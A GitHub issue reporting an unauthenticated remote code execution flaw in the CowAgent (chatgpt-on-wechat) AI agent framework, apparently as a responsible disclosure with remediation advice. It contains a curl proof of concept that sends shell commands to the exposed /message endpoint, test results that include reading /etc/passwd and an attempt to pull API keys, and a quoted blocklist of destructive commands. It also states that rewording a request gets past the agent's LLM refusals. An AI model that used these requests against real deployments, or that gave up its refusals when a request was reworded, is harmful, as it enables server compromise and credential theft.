New issue

Unauthenticated Remote Code Execution #2741

Open

Labels status: needs check

yidaozhongqing opened 2 weeks ago · edited by yidaozhongqing Edits

Unauthenticated Remote Code Execution

1. Vulnerability Information

Field	Value
Product	chatgpt-on-wechat (CowAgent)
Version Affected	2.0.0 through 2.0.4 (all versions with Agent mode)
Latest Version Tested	2.0.4 (released 2026-03-22)
Vendor	zhayujie (GitHub)
Repository	https://github.com/zhayujie/chatgpt-on-wechat
Vulnerability Type	Missing Authentication for Critical Function
Primary CWE	CWE-306 (Missing Authentication for Critical Function)
Secondary CWE	CWE-284 (Improper Access Control)
CVSS v3.1 Score	9.8 (Critical)
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector	Network
Attack Complexity	Low

Field	Value
Privileges Required	None
User Interaction	None
Vendor Notification	Not yet notified

2. Summary

chatgpt-on-wechat (CowAgent) is an open-source AI Agent framework with 16.4k+ GitHub stars that provides LLM-powered assistants for WeChat, Feishu, DingTalk, and other messaging platforms. In Agent mode (enabled by default since v2.0.0), the application grants the AI agent access to system-level tools including a bash shell, file read/write, and web fetch capabilities. This is the application's **intended functionality** — the Agent is designed to operate the computer on behalf of the user.

However, the Web Console that controls this Agent is exposed on `0.0.0.0:9899` with **zero authentication** on all endpoints, including the `/message` endpoint that accepts chat messages. This means any unauthenticated remote attacker who can reach port 9899 can send instructions to the AI Agent, which will then execute OS commands, read/write files, and access network resources on the attacker's behalf.

The root cause is not the bash tool itself (which is working as designed), but the complete absence of authentication on the Web Console that exposes these powerful capabilities to the network.

3. Root Cause Analysis

The vulnerability is a combination of two design decisions:

Decision 1: Agent has OS-level access (by design)
The application's core feature is an AI Agent that can execute system commands via a built-in bash tool (`agent/tools/bash/bash.py`). This is documented in the README: *"supports accessing files, terminal, browser, scheduled tasks through tools"*.

Decision 2: Web Console has no authentication (the vulnerability)
The Web Console HTTP server (`channel/web/web_channel.py`) registers all routes without any authentication middleware and binds to `0.0.0.0` (all network interfaces). The `/message` endpoint accepts arbitrary chat messages from any client.

The combination results in: **any unauthenticated network user can leverage the Agent's OS-level capabilities**.

4. Affected Components

Component	File	Lines	Description
Web Console Routes	`channel/web/web_channel.py`	375-393	All routes registered without auth
Server Binding	`channel/web/web_channel.py`	407	`app.run(port=port)` binds to `0.0.0.0`
Message Handler	`channel/web/web_channel.py`	433	`/message` POST handler, no auth check
Bash Tool	`agent/tools/bash/bash.py`	113-124	`subprocess.run(command, shell=True)`
Bash Blocklist	`agent/tools/bash/bash.py`	230-273	11-pattern blocklist (incomplete)
Default Config	`config-template.json`	29	`"agent": true` (Agent mode enabled by default)

5. Vulnerable Code

5.1 Web Console — No Authentication (Root Cause)

```
# channel/web/web_channel.py:375-393
urls = (
    '/', 'RootHandler',
    '/message', 'MessageHandler',     # ← No authentication
    '/upload', 'UploadHandler',
    '/config', 'ConfigHandler',
    '/api/channels', 'ChannelsHandler',
    '/api/memory/content', 'MemoryContentHandler',
    '/api/logs', 'LogsHandler',
    # ... all endpoints unauthenticated
)

# channel/web/web_channel.py:407
app.run(port=port)  # Binds to 0.0.0.0 — accessible from any network interface
```

There is no authentication middleware, no session management, no API key requirement, and no IP allowlist on any endpoint.

5.2 Bash Tool — Command Execution (Intended Feature, Not Root Cause)

```
# agent/tools/bash/bash.py:113-124
result = subprocess.run(
    command,            # Command string from LLM tool call
    shell=True,
    cwd=self.cwd,
    stdout=subprocess.PIPE,
    stderr=subprocess.PIPE,
    text=True,
    encoding="utf-8",
    errors="replace",
    timeout=timeout,
    env=env             # Note: env includes API keys from ~/.cow/.env
)
```

5.3 Bash Blocklist — Incomplete Security Control

```
# agent/tools/bash/bash.py:241-258 — Complete blocklist (only 11 patterns)
dangerous_patterns = [
    ("shutdown", "This command will shut down the system"),
    ("reboot", "This command will reboot the system"),
    ("halt", "This command will halt the system"),
    ("poweroff", "This command will power off the system"),
    ("rm -rf /", "This command will delete the entire filesystem"),
    ("rm -rf /*", "This command will delete the entire filesystem"),
    ("dd if=/dev/zero", "This command can destroy disk data"),
    ("mkfs", "This command will format a filesystem, destroying all data"),
    ("fdisk", "This command modifies disk partitions"),
    ("userdel root", "This command will delete the root user"),
    ("passwd root", "This command will change the root password"),
]
```

The blocklist creates a false sense of security. The following commands (among thousands of others) are NOT blocked: `echo`, `cat`, `head`, `tail`, `whoami`, `id`, `uname`, `curl`, `wget`, `python`, `perl`, `nc`, `bash`, `ssh`, `scp`, `find`, `chmod`, `chown`, `useradd`, `crontab`, `docker`, `kubectl`.

6. Addressing Potential Reviewer Concerns

"Is this just a feature, not a vulnerability?"

The bash tool executing commands is indeed the intended feature. However, the **absence of authentication** on the network-exposed Web Console is not an intended design. The README itself warns: *"Agent has the ability to access the operating system, please carefully choose the deployment environment"* — acknowledging the risk but providing no authentication mechanism to mitigate it.

A web application that exposes OS command execution to the network without authentication is a vulnerability regardless of whether command execution is an intended feature for authorized users.

"Can the LLM refuse to execute malicious commands?"

The LLM may occasionally refuse commands it deems dangerous (e.g., extracting API keys). However, this is NOT a security control because:

1. **It is probabilistic** — the LLM's decision varies by model, temperature, and prompt phrasing
2. **It is trivially bypassable** — rephrasing the request (e.g., "debug network" instead of "extract credentials") consistently bypasses refusal
3. **It is not enforced by code** — the bash tool's `execute()` method performs no content-based validation beyond the 11-pattern blocklist
4. **Different LLM models have different thresholds** — the application supports 20+ models with varying safety behaviors

In our testing, the LLM executed `echo RCE_SUCCESS > /tmp/file`, `head -3 /etc/passwd`, and `uname -a && whoami && pwd` without any refusal.

"Does Attack Complexity qualify as Low?"

Yes. The attacker needs only:

1. Network access to port 9899 (bound to `0.0.0.0` by default)
2. A single HTTP POST request
3. No credentials, no tokens, no session cookies

The LLM intermediary does not increase attack complexity because it reliably executes command-execution requests phrased as normal user instructions.

7. Proof of Concept

7.1 Prerequisites

1. chatgpt-on-wechat v2.0.4 installed following the official README
2. A working OpenAI-compatible LLM API endpoint configured
3. Default configuration (`"agent": true`, `"channel_type": "web"`)
4. Network access to port 9899

7.2 Reproduction Steps

Step 1: Send unauthenticated HTTP POST request

```
curl -s -X POST http://<target>:9899/message \
  -H "Content-Type: application/json" \
  -d '{"message":"run this command in bash: echo RCE_SUCCESS_$(whoami)_$(date +%s) > /tmp/rce
```

Response (immediate, no authentication challenge):

```
{"status": "success", "request_id": "551c3ac7-575a-452f-b6fd-ff1af6429853", "stream": t
```


Step 2: Wait approximately 10-15 seconds for Agent processing

The LLM agent receives the message, determines a bash command is needed, and invokes the bash tool.

Step 3: Verify command execution on the server

```
cat /tmp/rce_web_proof.txt
```

Output:

```
RCE_SUCCESS_xxx_1775101333
```

7.3 Verified Results from Live Testing

Test Date: 2026-04-02
Target: chatgpt-on-wechat v2.0.4, macOS Darwin 25.3.0 ARM64

Test	Command	Result	Status
Arbitrary file write	`echo RCE_SUCCESS_$(whoami)_$(date +%s) > /tmp/rce_web_proof.txt`	File created: `RCE_SUCCESS_xxx_1775101333`	**Executed**
System file read	`head -3 /etc/passwd > /tmp/rce_passwd_proof.txt`	File created with `/etc/passwd` contents	**Executed**
System info extraction	`uname -a > /tmp/sysinfo.txt && whoami >> /tmp/sysinfo.txt`	Full kernel version, username, working directory	**Executed**
API key extraction	`printenv | grep OPENAI > /tmp/keys.txt`	LLM refused (probabilistic, bypassable)	**Refused by LLM**

7.4 Application Log Evidence

```
[INFO][2026-04-02 11:42:13] 🤖 claude-opus-4-6 | 👤 run this command in bash: echo
RCE_SUCCESS_$(whoami)_$(date +%s) > /tmp/rce_web_proof.txt
[INFO][2026-04-02 11:42:13] [Agent] 第 1 轮
[INFO][2026-04-02 11:42:13] 🔧 bash(command=echo RCE_SUCCESS_$(whoami)_$(date +%s) >
/tmp/rce_web_proof.txt)
[INFO][2026-04-02 11:42:13]   ✅ bash (0.07s): {"output": "(no output)", "exit_code": 0,
"details": null}
```

```
[INFO][2026-04-02 11:42:17] 🔧 bash(command=cat /tmp/rce_web_proof.txt)
[INFO][2026-04-02 11:42:17]   ✅ bash (0.03s): {"output": "RCE_SUCCESS_xxx_1775101333\n",
"exit_code": 0}
```

8. Impact

An unauthenticated remote attacker can:

1. **Execute arbitrary OS commands** as the application's process user, including creating files, modifying system configuration, and installing persistent backdoors (crontab, SSH keys, startup scripts).
2. **Read sensitive files** from the server filesystem, including `/etc/passwd`, application configuration files containing API keys, SSH private keys, and user data.
3. **Exfiltrate data** to external servers using `curl`, `wget`, or other network utilities that are not in the blocklist.
4. **Establish persistent access** by writing SSH authorized keys, creating cron jobs, or modifying shell profiles (`.bashrc`, `.zshrc`).
5. **Move laterally** within the internal network by using the compromised server as a pivot point for scanning and attacking other hosts.

9. Remediation

Priority	Recommendation
Critical	Add authentication (token/session/password) to all Web Console endpoints, especially `/message`
Critical	Change default server binding from `0.0.0.0` to `127.0.0.1`
High	Replace the 11-pattern blocklist with a command allowlist
High	Add a user confirmation mechanism before executing bash commands
Medium	Run the bash tool in a sandboxed environment (container, seccomp, chroot)
Medium	Disable `shell=True` in `subprocess.run()` and use argument lists

10. References

- CWE-306: Missing Authentication for Critical Function
- CWE-284: Improper Access Control
- OWASP Top 10 2021 — A01: Broken Access Control
- OWASP Top 10 2021 — A07: Identification and Authentication Failures

- chatgpt-on-wechat GitHub Repository
- chatgpt-on-wechat v2.0.4 Release

yidaozhongqing added status: needs check 2 weeks ago

Metadata

Assignees

No one assigned

Labels

status: needs check

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

Code with agent mode

No branches or pull requests

Participants